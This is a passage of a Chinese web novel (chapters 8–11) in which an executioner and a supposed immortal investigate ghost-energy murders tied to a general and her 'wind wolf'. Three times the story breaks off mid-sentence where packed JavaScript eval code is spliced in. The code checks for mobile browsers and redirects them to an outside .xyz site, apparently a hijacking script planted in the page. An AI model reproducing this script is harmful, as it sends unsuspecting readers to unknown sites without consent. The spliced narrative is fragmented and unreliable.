可她实在很想去查。宫中怪事毫无线索,唯有赵得真那句话给了个切入口。而丘执玉确实很擅长查案,她出手的话,或许半个月就能把吴小那些人的事查清。到时候她就又有人可杀了。 否则近日并无别的值得杀头的大案,而她并不喜欢自己失控的样子。 她又道:“那赵得真还骂我们呢!至少去查一查她,给她添点儿麻烦吧?” “因为她骂你是狗,你生气了吗?”丘执玉对她点头安抚,“我已回击过了,你别想了。而且是你要杀她在先。” 傅水伤倒并不生气。但她 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声音渐渐远去,只给傅水伤留了一片扑面而来的扬尘。她咬了咬牙,实在很想把那两人打下来摔死。 能在宫中纵马,那什么池大人想必也是深受皇帝信任……深受信任的人那么多!这皇帝早晚被刺杀! 入宫这一趟教傅水伤满心忿忿,却只能一怒之下怒了一下,生完气后自己用双腿走回家里。推开门时已近黄昏。 门内有人。 尽管她什么也没看到,却莫名地知道院子里某个地方一定有人。她便站在门口,扫了一眼,冷声道:“什么人?出来!” 那人倒直接就现了身。她坐在屋外石阶上,双手握着剑,横放在膝盖上。正是叶边舟。 “仙尊?”傅水伤见她凭空出现,心想这催眠之术似乎比她想象的要厉害一些,竟能教她全然不见眼前之人。 她皱了皱眉。大刀落在了明镜府,她便将柴火边的斧头捡了起来,扛在肩上。待走到叶边舟面前,她又笑了起来,问道:“仙尊怎么在这里?” “我来吴小家中看看。”叶边舟站起身,“天要黑了,借宿一宿。” “好。”傅水伤将斧头丢在地上,利刃擦着叶边舟的脚插在青石台阶上。她又将门踹开,道,“仙尊请进。” 叶边舟没有动。她看了眼脚下,道:“你好似并不欢迎我。” 倒是挺有自知之明的。 傅水伤心内轻嗤。她原本是想直接将人赶走,以免自己不安之下忍不住将人给杀了。但很快她又想到,丘执玉不肯去查,还有这个叶边舟呢。 这可是皇帝千辛万苦请来的“仙尊”,虽说心思不纯,大约查不出什么真相,还极有可能趁机搞事—— ——但那又有什么关系? 只要她能弄出一个足以说服皇帝的结果,让自己有人可杀就好。 傅水伤便微笑着解释,“哪里,特别欢迎。只是仙尊你随意进别人家里,还鬼鬼祟祟隐藏自己,我稍微生个气也正常吧?” “我……” “我已原谅你了。”傅水伤不想和她废话,没听她解释,直接道,“仙尊来查吴小的事?我这里有了新线索,仙尊要不要听一听?” 8. 凌王殿下 她将赵得真之事讲给叶边舟听,问道:“仙尊怎么看?” 叶边舟已坐在了窗边,她先看向另一侧的高墙,那边丝丝缕缕的黑烟随风摇动,争先恐后地想要过来。 “我去吴小家中看过,除了鬼气浓郁,并无别的发现。”她轻轻挥手,那些黑烟立时安分下来,“既然暂且找不到别的线索,查一查赵将军也好。” 傅水伤也是这样想的,她点了点头,见叶边舟看着窗外,便也顺着她的目光看去。 可她只看到天色渐渐暗沉,于是走到床边,说:“那我们明日就去。现在还是快点儿睡觉吧。” 床实在不大,傅水伤也并不愿意和人挤。她便果断抱了床被子扔给叶边舟,“仙尊打个地铺吧。” 叶边舟接过,依旧握剑坐在那里。她扫了眼地面,道:“我记得你现在是我的侍卫。” “嗯。”傅水伤爬上床,假装听不懂她的意思,“仙尊若是被老鼠蟑螂袭击了,我这个侍卫一定会起来保护仙尊。” 叶边舟沉默片刻,低头去找老鼠蟑螂的踪迹。她很快看到两条细细的触须从水缸下面冒出来,便直截了当道:“我睡床,你睡地上。” “哈哈,想的美。”傅水伤裹紧了被子,拒绝得更加直截了当,“这是我家,给你睡地上就不错了,少得寸进尺。” 叶边舟继续沉默。她终究也没再说什么,却也没有真的打地铺。而是抱着被子去了隔壁,睡在吴小家中。 进门的刹那满屋鬼气便冲向了她,却又停在她周身半尺的距离,不敢向前。她也并未理会,找出一只蜡烛点上,铺床躺下。 天彻底黑了,那些鬼气不能接近叶边舟,便渐渐散开,似是向着隔壁傅水伤而去。叶边舟想要探出神识去看,却只觉格外困倦,眨眼之间便已入睡,甚至来不及将蜡烛熄灭。 一觉到天明。 叶边舟起来将烛火熄灭。一夜过去,那蜡烛似乎还和睡前一样的高度。也不知是什么材质,这样耐用。 方想着,又听隔壁傅水伤喊道:“仙尊醒了吗?咱们何时出发?” 她正要走出去,却又停住脚步,扬声道:“傅大人到这边来。” “什么事?”傅水伤直接上了墙,又跳下来,走到叶边舟面前。 随处游荡的鬼气忽然全都向着傅水伤而去,如黑色蛛网一般缠绕在她身上。叶边舟便看见她霎时烦躁起来,甚至有杀气从眼中露出。 “仙尊有事便说。”傅水伤前一句尚且平静,这一句便已不耐烦起来。她亦是察觉到了自己的变化,但她想这全都是因为叶边舟叫她过来却一言不发地看着她,那眼神教她分外不爽,只想一刀让叶边舟闭眼。 “无事。”叶边舟收回目光。 昨夜睡前的感受并非错觉,这些鬼气确实十分“喜爱”傅水伤。 她轻轻握了握傅水伤的手腕,将她满身黑烟驱散,又提醒了一句,“你最好不要继续做刽子手。” 这样的体质,早晚被鬼气侵蚀。 “啊,再说。”傅水伤不明白她为何突然说这个,只随口敷衍了一下。不过叶边舟不再看着她,倒让她杀意消散再度平静,“我们现在出发去查案?” “嗯。”叶边舟点头,“你带路。” “带路?带什么路?”傅水伤疑惑。 叶边舟:“去京都卫军的营地,或是赵将军家中——先到她家中去吧。我不识路,你带我去。” “……”傅水伤挠头道,“……我也不认得路。” “你是东扶人,又在京都住了八年,你不识路?” “我为什么要识路?我又不认得赵得真,和京都卫军更没什么来往。” 叶边舟:“……” 傅水伤:“……” 她俩面面相觑,傅水伤先道:“……我的错,我去找认路的来。仙尊您坐着。” 她待要到明镜府去找个人来帮帮忙,却先听到有人敲响了她隔壁的大门。 “水伤?”敲门声轻轻的,“你醒了吗?” “认路的来了!”傅水伤听出是阿阳的声音,便立时决定拉她来做壮丁。她跳回自己的院子里开了门,一把将人拉进来,“阿阳你来的正好,带我们去京都卫军大统领赵得真的家里。” “啊?”阿阳啃着买来的包子,反应过来之后便直接点头,“好。” 傅水伤又伸手,“包子分我两个。” “噢。”阿阳本就给她买了,便把她那份给了她,见叶边舟走进来,又有些拘谨地问,“仙尊要吗?” “仙尊肯定是辟谷了,当然不要。”傅水伤看阿阳手里没有第三份,而她吃完手里的也不见得能吃饱,并不想再分一半出去,就替叶边舟拒绝了。 但她看到叶边舟老老实实地从大门走进来,想她居然连一点轻功也不会,自昨夜初见她时便萦绕在心的一丝不安也消散了,又笑道:“不过仙尊想吃的话,前面没多远就是包子铺。我再去买点儿?” 叶边舟只是摇头,“我已辟谷。” 还要骗人,那就饿着呗。 傅水伤也没管她,又问阿阳,“你原先是准备来做什么的?先把你的事做了吧。” “我原先就是要来帮你的啊。”阿阳道,“丘大人不是要你去查赵将军吗?我想你肯定连路都不认得,也没有明镜府的腰牌。” “……那你真是想对了。”傅水伤拿过她手里的牌子挂在腰上,问道,“丘大人叫你来的?” “我自己来的。”阿阳摇头,又对她笑起来,像是十分感激的样子,“多谢你给我的银子。我已拜柳乘风为师,那可是京都最厉害的画师,虽说收费也最高,可很值得!” 傅水伤有些不好的预感,“我什么时候给你的银子?” “你斩杀通缉犯的赏银啊!昨日丘大人要我转交给你,回了卧房一趟后,却改口说你已决定将赏银一半拿去修墙,另一半给我去精进画技。”阿阳再次满脸感激,“真谢谢你,水伤。我随口说了一句你居然都记得……” “我不记得。”傅水伤面无表情,“我也没同意,全都是丘执玉自作主张。” 她一伸手,道:“把我的银子还我。” “我已给了柳大师……”阿阳满脸的感动皆化为忐忑,“你不知道啊。” 傅水伤点头。她以为阿阳要愧疚地道个歉,却不想阿阳愧疚是愧疚了,却在片刻后坦然起来,眼睛一转,说:“那你去找丘大人要吧,丘大人给我的。” “反正我身无分文,只能做工抵债了。水伤你有什么需要我的就和我说。” “把你卖了都不值三百两。”傅水伤很是心痛。 还有丘执玉那面破墙!三百两够她重建十个一模一样的卧房了! 砰! 她正想着,忽听一声巨响,自己的院墙被打出一个大洞,也变做了一面破墙。 一时之间她简直以为是丘执玉派人来报复。但她知道当然不是,便将斧头从台阶上拔出,回头看去。 她看见一个胖乎乎的少年走了进来。这人脸上神情呆滞,怔怔地看着地面,神色焦急却步履缓慢。 而她身后跟了个黑衣女人,一手持剑,另一只手抓了把金珠放在院里石桌上,“抱歉抱歉!这是赔偿!” 说话间那肥胖少年已走到了屋前,被墙壁阻挡,便焦躁地用双手去抓挠。 但她显然不会武,打不破墙面,而她身后的黑衣女人便立刻到她身边,挥剑想要将墙打碎。 傅水伤双手握着斧头,打开她的剑,站在了那少年和墙面之间,问道:“你们这是在做什么?天子脚下随便拆别人的家?” “不是给过你们赔偿了……”黑衣女人紧盯着那少年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她自己知道叶边舟那仙尊几斤几两,又赶着去查赵得真,并不愿此时与池之澈起冲突。因此只在脑海里给她安排了几种死法,便笑问道:“倒先让我知晓为什么要拆我的屋子吧?” “凌王殿下痴傻,大家都知道的嘛。”池之澈也是无可奈何的样子,“她犯了病,就非要从这里过去,过不去就拿头撞。哪怕此刻把她打晕了,她醒来也要继续走到这里的。” “陛下让我顺着她、护着她。我敢让她留一滴血,陛下敢让我断两条腿。我也没办法的。” 傅水伤早听说凌王是个傻子,现在见她确实是满心只想要穿墙而过,甚至已急得双眼发红,埋头把自己当钉子往前挤,竟比想象中更傻一些。 她便松了手,放凌王过去,笑道:“阿澈你都叫我姐了,两面墙而已,你打吧。” “多谢多谢!”池之澈立刻举剑,却再次被傅水伤持斧拦下。 “但这房子我住了五年,很舍不得。”她伸手到池之澈面前,“再给点儿。” 钱都是从凌王怀里拿的,池之澈自然毫不心疼,又抓了一把给傅水伤,便打破墙面,让凌王走了进去。 傅水伤看着,见那少年急匆匆地走进去,双眼紧盯着地面,丝毫不看路。而池之澈一步不离地跟在她身边,将阻碍她的座椅床凳全部打碎移开,又将另一面墙打穿,走了出去。 那池之澈却又忽然回头,小声道:“丘大人说她叫你去查赵大人——你最好快些去营地,别教她把证据都毁了。她家里没什么好看的,不用去浪费时间。” 还不待傅水伤说什么,她又转头去打碎了一面墙,在另一户人家的尖叫声里不住道歉,“对不起对不起!别害怕!我们是好人!这是赔偿……哎呀我是羽林军统领池之澈!那金子肯定是真的!” 9. 风狼 傅水伤闻言,没忍住拿了一颗金珠出来,放在嘴里咬了一口,确定是真的,便将池之澈先前放在桌面上的那些也收了起来,心情大好。 “我们走吧,去赵将军家里。”傅水伤开开心心地出门,“阿阳带路。” 阿阳看了眼一片狼藉的屋子,问她:“水伤,你不先把家里收拾一下么?” “收拾它做什么?下午我便去买个大宅子,这个不要了!”傅水伤已出了门,把她和叶边舟都拉了出去。她看起来确实已不准备要这“住了五年,很舍不得”的屋子了。 阿阳说不出的羡慕,看着她小声嘟囔,“我也想要有人来拆了我的房子……” 叶边舟则问她:“池大人方才说,要我们先去营地?” “你听到了?”傅水伤有几分惊讶。没想到叶边舟虽不会武,耳力却是过人,“那什么池什么澈的,她昨日还救了赵得真,今日却又一副盼着我们查出些什么的样子,我觉得她的话并不可信。” 她才不会听池之澈的话。她偏要去赵得真家里——营地她也要去,还要同时去。 但她清楚自己单独去是什么都查不出来的,没有叶边舟这个连皇帝也礼待着的仙尊,她敢肯定赵得真压根不会让她进门…… “但倘若她所言为真,我们先去了赵将军家中,赵将军自有方法拖住我们,好处理营地里的东西。”叶边舟略一思索,“不若我们分头行动?” 傅水伤刚在心中否定了这一方法,自然摇头。她看着叶边舟,忽又有了想法,“仙尊,你那师妹离开整整一天了吧?怎么也不见回来?” 叶边舟便好似才想来还有这么一个人一般,微微蹙眉。她将中指与拇指的指尖合在一起,片刻后松开,道:“还活着,不必管她。” “没想管她。”傅水伤直言道,“她轻功那么好,叫她潜入营地去看看?” 叶边舟思索片刻,点了点头。她随即拿出一张符纸,夹在两指中间。对着那符纸交代几句之后,便在翻手间燃起一团火焰,将符纸化为飞灰。 “仙尊,您这是传说中的千里传讯吗?”阿阳满眼崇敬,“这也太……” 还不待她将夸赞的话说出来,傅水伤便插嘴道:“这我也会。” 她说着随手掏出一张纸,一翻手将它烧成一团灰。 这种小戏法,随便找个杂耍的来都能做到,也不知阿阳在崇敬个什么。 那两人原本都略带诧异地看向她,此时又一同移开了目光。阿阳无奈道:“你那肯定和仙尊的不一样啊。” “哪里不一样了?”傅水伤去问叶边舟,“仙尊你看,是不是一模一样?” 叶边舟又看了她一眼,未曾回答。她只道:“我已告诉阿成,让她前去营地了。” 傅水伤微微点头。她想世上不可能有什么千里传讯,但叶边舟既然特意表演了一番,为免被拆穿,自然是有别的方法告知文武成的。她便放心地跟随阿阳去了赵得真家中。 卫军大统领的家自然和她那小破院子不同,门外还有护卫守着。那两位大姐也完全如傅水伤所料,听闻她是丘执玉派来查案的人,毫不犹豫地将她拒之门外。 “几位眼生啊,怎么没在明镜府见过?真是明镜府的人?腰牌看起来怎么有点儿假呢?是真的吗?”一人找理由怀疑她们身份。 “要查我们将军至少要丘大人亲自来吧!你们看不起我们赵将军是吧?!”另一人直接赶人。 她们已将腰刀拔出,正欲解释的阿阳便直接闭嘴,躲到傅水伤身后。而傅水伤毫不犹豫向前一步,分别抓住她二人的手腕,夺刀后调转刀锋,架在她们脖子上。 “我们虽是明镜府的人,但可不是丘大人派来的。”傅水伤只令刀锋轻轻地碰了碰她们的脖子,便收回来握在手中,侧身露出叶边舟的身影,“我们只是为仙尊带路——你们连仙尊也要拦么?” 叶边舟自始至终都站在那里,既未开口,也未移动。此时也只不过微微抬眼,看向那两个护卫。 看起来倒真像是一个波澜不惊的高人。 傅水伤对她的表现很是满意。她自己明知真相,都觉得这骗子气势非凡,想必哄这两个护卫也绰绰有余。 那两人果然便犹豫起来,耳语一番后,一人前去通报。另一人则请她们入内,另找了人来守门。 傅水伤十分自觉地让叶边舟先进,自己落后一步与阿阳同行。但方一入门,却见叶边舟停住脚步。 “稍候。”叶边舟闭上双眼,用神识迅速地扫过整个赵府。她粗看之下并未发现什么,至少明面上毫无异常。 收回神识之时,便见傅水伤凑近过来,小声道:“仙尊是被吓到了?” 那两个护卫拔刀之时,叶边舟离得最近。而她又要维持她仙尊的样子,躲都不能躲,想来是吓到腿软需要缓一缓。 好歹她们是靠着仙尊才能顺利进门,傅水伤便大发善心扶住了她,免得她走路颤抖被察觉。 可叶边舟只是奇怪地看了她一眼,推开她的手,对那护卫道:“带我去见一见赵将军。” “赵将军不在府中吧?”傅水伤看她无事,便收了手,猜测道,“这个时辰该在营地才是。” 那护卫也跟着附和,“是。赵将军一早便……” “她在。”叶边舟打断了护卫的话,又对傅水伤解释,“想是病了,正在卧房里休息。” 她话音刚落,方才去通传的护卫又再次前来,对叶边舟道:“仙尊,将军请您过去。” 待几人随护卫走去,便见赵得真一副刚从床上爬起的模样。她精神看起来不大好,咳嗽了几声,才站起身对叶边舟道:“卧病在床,有失远迎。仙尊见谅。” “咳咳……”她停下来又咳了好几声,才继续道,“昨日没有认出仙尊来,多有冒犯。” 竟真的在家。竟真的生了病。 阿阳看向叶边舟的目光已满是崇敬,傅水伤却不禁微微蹙眉。 难不成这骗子和赵得真有关系,这是在一唱一和地演戏? 她想不明白,便只皱眉去看叶边舟。而叶边舟亦眉头微蹙,看着赵得真。 “你不是生病。”她忽道,“是中毒。” “仙尊看得出来?”赵得真似是极为惊喜,“那仙尊可知道我中的是什么毒?” 叶边舟摇头,“我对毒物并不了解。” “不过你的身体很奇怪。”她上下看了赵得真许久,“像个死人。” “你才……”赵得真下意识回嘴,又很快闭口。她嘴唇微动,似乎有千万句脏话要脱口而出,最后却只道,“……您才说的那句话是什么意思?” 叶边舟正要解释,傅水伤已抢先一步开口,“意思自然是……赵将军最好老实交代自己犯下的罪,否则就别怪我们仙尊把你变成死人了。” 她看出来赵得真那一瞬间的怒气,是因为她听到叶边舟的话,第一反应便是叶边舟威胁她的性命。她心想赵得真可真是只疯狗,叶边舟的语气简直已堪称关怀,她竟能误解成这样。 于是她顺着赵得真的想法,想试试“仙尊”的威胁能不能让人交代出点儿什么。她又猜测道:“赵将军中了毒?莫不是有人用解药要挟赵将军,逼迫赵将军在京都装神弄鬼地杀人?” 赵得真却只是冷笑一声,“确 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14972297|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是如此,给我下毒的人正是丘执玉。你回去杀了丘执玉再来和我说话!” “你可别乱咬人。”傅水伤挑眉,“我们丘大人给你下毒做什么?” “我昨日惹着她了呗。”赵得真扫了她一眼,“明知故问。难道丘执玉没给你下过毒?” “丘大人又为什么给我下毒?”傅水伤是当真疑惑。 而赵得真看她的眼神忽然变了,仿佛在看一个彻头彻尾的傻子,“丘执玉不可能没给你下过,看来你这蠢货没发现……难道你就没有过前一日惹了丘执玉生气,第二日莫名其妙生了病的经历?” 傅水伤一时想不起来,但她当然坚定地说,“从来没有。丘大人待我极好,怎么会给我下毒?” 这么低级的挑拨离间,谁又会信? “好狗确实是记吃不记打。”赵得真又冲她冷笑了一声。 傅水伤便微微抬头,握紧了手中的两把大刀——她从护卫手中的夺过刀之后便没有归还,现在看来留在自己手里很有必要。 但她还未开始下一步的动作,便看到赵得真半跪着抱起了个什么东西。那东西毛茸茸的,尾巴摇得飞快——是只雪白的小狗。 白狗扑到赵得真怀里,便抱着她的手咬她。那力气并不小,一口就在她的手掌上留下了深红的牙印。 赵得真便抽出手来,在狗头上不轻不重地打了一下。那狗被打了还继续咬,赵得真便继续拍它的狗头。 “咬人的狗就得趁早修理,不然到外面咬了别人,总有脾气暴躁的替你修理。”赵得真看着傅水伤,她不论何时都是那副冷笑中带着些怒气的模样,冷冷道,“可惜丘执玉不懂,把狗惯成这样,早晚她要亲自在明镜台下把自己养出来的疯狗杀了。” 傅水伤只看着她怀里坚持不懈要咬她的小狗,仿佛没听懂她言外之意,真诚道:“你的狗说不准也在想,打狗的人就得趁早修理,不然到外面打了别的狗,早晚被一口咬死。毕竟你确实打不过狗,也确实险些被咬死。” 赵得真只是嗤笑一声,“果然是同类,我的狗在想什么你都能猜到。往后得告诉丘执玉,叫她来找我的时候牵着你,好陪陪我的‘恶牙’。” “……”傅水伤飞速地思考该怎么回骂,但她想起刚才那一句“你确实打不过狗”,已是自己把自己比做了狗,她一时竟想不出来还能怎么说。 于是她举起了刀。 她确实是骂不过赵得真,而她也不准备再和赵得真说话。反正她打得过,暂时不能杀的话,打一顿也好。 赵得真亦从身后拔出一支箭,放下了手中的小狗。两人眼看着便要打起来。阿阳就果断地远离了傅水伤,躲到叶边舟身后。 “仙尊您不管管吗?”她小声道,“好像真要打起来了——我们不是来打架的啊!” 叶边舟只是看着。自两人吵起来之后她便没再插嘴,此时也仿佛不准备干涉。她只是看着那两人,也不知在看些什么。 但傅水伤和赵得真听到了阿阳的话,一同停住了动作。她们刚才好似完全忘记了叶边舟在侧,旁若无人地吵了起来。 赵得真先向叶边舟道了歉,又问:“还没问仙尊前来所为何事?” “来查宫中侍卫与吴小遭人虐杀之事。”叶边舟终于开口,“陛下应与你说了,他们死后皆被风狼所食。” “让我看看赵将军的风狼。” “仙尊不是已看过了?”赵得真往旁边一指,“我的恶牙就是。” 她指的地方,那只比猫大不了多少的小狗正追着尾巴转圈。仿佛察觉到所有人都在看它,抬起头叫了一声: “汪!” 10. 鬼气 “……这就是你养的风狼?”傅水伤看着那原地转圈的傻东西,忍不住道,“这根本就是一只狗吧!” 还是一只用尽全力连人手都咬不破的幼犬。 “……它还小,刚满月。”赵得真替她的狗……她的风狼辩解,“待它长大了,自然能一口将你咬死。” 可傅水伤已对它失去了所有的兴趣。她想这么小的风狼,一条腿就足够把它撑死,绝不可能将那些几十上百斤的成年人吃得只剩下白骨。 她看向叶边舟,以目光询问她的看法。而叶边舟还在看着“恶牙”。她也好似是第一次见到幼年风狼,便多看了一会儿,待确定那东西真的是成年后四肢着地就能比人还要高出许多的风狼,便微微蹙眉。 “你们在想什么呢?”赵得真左右看了看她俩,没忍住在目光中露出了一丝看傻子似的不屑,“我养风狼不从小养,难道要养一个爪子比我脑袋大的来为难自己?我看起来像是活腻歪了的样子?” 叶边舟便回神,重又看向赵得真。她好似并没有感受到那鄙夷的眼神,更没有被冒犯。她只是微微点头,道:“既然看过了,我们便告辞了。” 说完她便转身要走,毫无留恋。傅水伤急忙大跨步跟过去,在她耳边小声问:“我们就这么走了?” 她犹有不甘。就算料到叶边舟这个假仙尊查不出什么,却也没想到这人这么好打发。她觉得至少该把赵府翻个底朝天,彻底把每一丝线索都找出来才行。 叶边舟却只是点头,并未多言。傅水伤看不出她葫芦里卖的什么药,只好扬声对阿阳道:“时辰还早,咱们接下来去京都卫军的营地,阿阳你知道路吧?” 这样大声,赵得真自然能听见。她盼着赵得真能阻拦一二,留她们再多待一会儿。 可赵得真不仅没有阻拦,还主动跟过去,为她们备了马车。她请叶边舟上去,把缰绳交给傅水伤,道:“营地在京郊,有些远了,仙尊乘车去吧。我有病在身,就不陪同了。” 仿佛急着赶她们离开,而营地里也没有任何见不得人的东西。 傅水伤更是疑窦丛生。但叶边舟已决心要离开,她单独留下来的话——她应该会一言不合与赵得真打起来,最后被赵府的护卫围攻一番,扔到街上。 她只好扬鞭催马,向城外走去。阿阳坐在她身边指路,而她一回头就能看见叶边舟悠闲地坐在马车里,双手握剑放在膝上,仿佛一切尽在掌握,淡然平静。 那样子就让傅水伤莫名生气,她将两把大刀都插在了车辕上,冲里面喊了一句,“你出来。” 叶边舟不明所以。她以为出了什么状况,便起身走到两人身边,问:“何事?” “会驾车吗?”傅水伤把鞭子和缰绳给她。 “会。”叶边舟接过,又问,“出了什么事?” “没事。”傅水伤转身坐进了马车里,岔着腿双手抱胸,“你会你来吧。” 她看叶边舟好像愣了片刻,随后面无表情地把缰绳和鞭子都扔下。可那马并没有乱走,依旧按着阿阳指的路前行。 “看来赵得真的马走得多了,已记得路了。”傅水伤见状,便对阿阳招手,“那阿阳你也进来坐吧。” 阿阳没动,而叶边舟看了她一眼,坐了回去,又对阿阳道:“你依旧看着路。” “是,仙尊。”阿阳点头,到该转弯的地方说了声,“前面向左。” 马车向左去,傅水伤便疑惑道:“难道这马不认得路?但听得懂指令?” 叶边舟坐在她身边,又看了她一眼。 “肯定是仙尊在控制马车啦!用那什么……灵力!”阿阳回头道,“水伤你怎么这都看不出来!” 她生怕傅水伤把仙尊惹怒了,被人一剑斩杀,便拼命使眼色让她闭嘴滚出来。 但傅水伤没本事从她那眼神里读出她的意思。她嗤了一声,嗤得让阿阳已忍不住在心里为她写悼词。 可怜一身英雌气,如今魂断荒野里! 啊,尚在城里,来来往往皆是人,算不得荒野。怎么改才对的上韵律? 叶边舟又转头看了阿阳一眼,吓得她急忙把挤眉弄眼的神色都收了起来。 “仙尊,您能说说我们为什么就这么走了吗?”好歹傅水伤并不准备明面上揭穿这骗子,只问了心中疑惑,“就算她那风狼还不如猫大,她在长宁街上脱口而出的话也全然只是巧合。可我们去都去了,就看了看她怎么逗狗?” “我已看到我想要的了。”叶边舟道,“她身上满是鬼气,与那些死者身上的鬼气同源。且那样浓郁,乱葬岗放了千百年的尸体身上都不见得能有那么浓郁的鬼气。” 长宁街上她便看到了,但昨夜在吴小家中仔细感受了那里残留的鬼气,今日又与赵得真身上的对比,她才终于确认: “此事必定与赵得真有关。” “哦,这样。”傅水伤微微倾身,做出一副虚心请教的样子,“仙尊,鬼气是什么?鬼怪身上的气息?” “鬼气便是你们所说的鬼怪。”叶边舟耐心解释,“是人逝去时的怨气、遭遇苦难后的戾气、天地间受污染的灵气,以及残魂碎片与执念的混合之物。” “凡人以为人死后化为鬼怪,与生前无异。但其实人死后魂魄消逝,只能留下一些鬼气,随处飘荡慢慢散去。” “有些邪修能够利用它,但这在邪修之中也算是旁门左道,我了解的并不多。”叶边舟看向窗外,“待见到阿成了,可以问问她。阿成爱看这些乱七八糟的东西。” 傅水伤继续请教,“那什么鬼气,我怎么看不到呢?” “你没有修为,自是看不到。”叶边舟回过头来,看着她的双眼,“但你能感受到。” 她问:“你是否在赵得真身边时更为暴躁一些,对她也总有强烈的杀意?” 待傅水伤点头,她又道:“你体质如此,容易沾染鬼气,便被干扰了心智。” “嗯……”傅水伤一言难尽地看了她一眼。 真会编。赵得真那脾气,任谁在她身边都会比平日更为暴躁;至于说她对赵得真总有强烈的杀意?她明明对所有人都有。 别的不说,方才她可是用尽了全部的意志力,才把大刀插在车辕上,而不是叶边舟身上。 做骗子的果然善于察言观色,见到她异常的杀意,就以此为根据编出这套话来。 不过她确实是很想杀赵得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丘执玉对明镜府的人也实在是很好。 “那叫她为了我睁一只眼闭一只眼,假装看到了就是。”叶边舟语气平静,可听起来就像是后面还有一句“否则的话我将她两只眼都挖了”似的。 “我自会证据确凿了再下结论。”叶边舟道,“但如果她看不到证据——我的话就是证据。” 傅水伤便不说话了。她心想这气势,连她都有那么一瞬间被唬住了。到时候真被丘执玉发现了什么,这骗子往那儿一站这么一说,没准儿真能糊弄过去。 叶边舟也未再多说什么。话停下来之时,马车也恰好停了下来。 “仙尊、水伤,我们到了!”阿阳回头要去看傅水伤,目光却被乍然出现的人影遮蔽,她吓得立时后退,一脚踩空,险些要摔下马车去。 那人影伸手抓住了她,将她扯了回来,还不忘嘲笑,“凡人弱就算了,怎么站都站不稳啊?” “坐里面去,别摔坏了。”来人把阿阳推进马车里,自己也弯腰进去。她坐在叶边舟身边,神色便凝重起来,“师姐,你猜我在她们这营地里看见了什么?” 11. 暗室 叶边舟不猜,只点头道:“说。” 文武成却先将车门关上,又把窗帘放下,才小声道:“很多死人!死得千奇百怪的死人!” “我来的时候,见她们好像是得到了什么消息,正匆匆忙忙地搬运着什么,想要把那些东西藏到一个地下暗室里。我就跟了进去……”她想起来还有些恶寒,皱了皱眉,继续说,“……那里面全都是死尸,有放了许多天已经腐臭的,也有刚死不久还沾着新鲜血液的……很多很多,从营帐各个方向运过来,全堆在那里,至少有三五百个。” “死状也各不相同,有一些和那个吴小一样,被挖眼剥皮;其它的也大都惨烈,缺胳膊少腿腰斩无首的,太多了……” “都是赵得真杀的?”傅水伤好奇发问,“死的人都是什么身份?京都卫军的士兵?” 叶边舟亦同时开口,“他们身上的鬼气如何?” “我没注意啊。”文武成只回答叶边舟的话,“死人多的地方不都是鬼气冲天的吗?我没仔细看。而且感觉到你在附近,就立刻出来找你了。” 她们像是没串好供匆忙找补的样子,傅水伤便没忍住挑眉笑道:“你家师姐刚才说赵得真……” “我刚才去了赵得真家中……”叶边舟又一次同时开口。她微微蹙眉看向傅水伤,傅水伤便闭了嘴。 “您说,您说。”傅水伤无意打扰她们串词。她换了个位置,坐在阿阳身边,看着对面的两人。 叶边舟已将之前的事都说给了文武成,问她,“你怎么看?” “那个什么赵得真,她是不是在用鬼气修行啊?”文武成猜测,“有些人资质太差,无法吸纳灵气——但鬼气可是时时刻刻主动往人身体里钻,她们便想办法利用鬼气,和我们用灵气没有太大的区别。” “只是鬼气难以控制,吸收越多越容易侵蚀心智,她们又想出了别的办法——不再去寻找鬼气浓郁的地方,而是直接用自身已有的鬼气去杀人,新生的鬼气直接与自己的鬼气融合,便不会对自己有太大的伤害。” “那样她身上的鬼气也和死者身上残留的鬼气同源,这不就对上了?”文武成说完,自己先点了点头,觉得自己的猜测无比正确。 可叶边舟微微摇头,“她看起来并没有修为。” “要是她修为远胜于你,有心隐瞒的话,你看不出来也正常啊?”文武成又猜,随后却立刻否定了自己,“不对,那样的话,你应该也看不到她身上的鬼气才对。” “那是不是……”她竖起食指还要再猜,但叶边舟轻轻握住了她的手,压下去放在她腿上,叫她安静。 她只想多知道一些鬼气相关的事,并不想听文武成的奇思妙想。况且已到了营地,又知道了里面怪异的状况,显然她们有比在这里坐着胡乱猜测更重要的事。 “先进去看看。”叶边舟道。 见她们终于是说完了,傅水伤便准备驾车驶入营地。可她刚打开车门,眼前人影一闪,文武成已先一步出去,握住了缰绳。 她看起来格外兴奋,扬鞭打在地上,大喊了一声,“驾!” 傅水伤就坐了回去,问叶边舟,“你家师妹在兴奋个什么?” “不知道。”叶边舟看都没看一眼,便直接摇头。她弄不清,也懒得猜。 很快她们就发现文武成仅仅是因为第一次驾车而兴奋,还叫了阿阳去教她——尽管她只要施展那不管是轻功还是所谓“御气飞行”的功夫,随随便便就有这马车数倍乃至数十倍的速度。 傅水伤便感慨道:“十五岁的少年人真叫人羡慕,看什么都新奇。” “二十八岁不也还是少年吗?”叶边舟不解,“你也不过比她大了十三岁而已。” “而已?”傅水伤微微挑眉,“谁家二十八了还少年?” “可是以修道者最低的三百年寿命来算……”叶边舟忽然低下了声音。她想起眼前的人是个凡人,便又努力去回忆凡人的寿数。 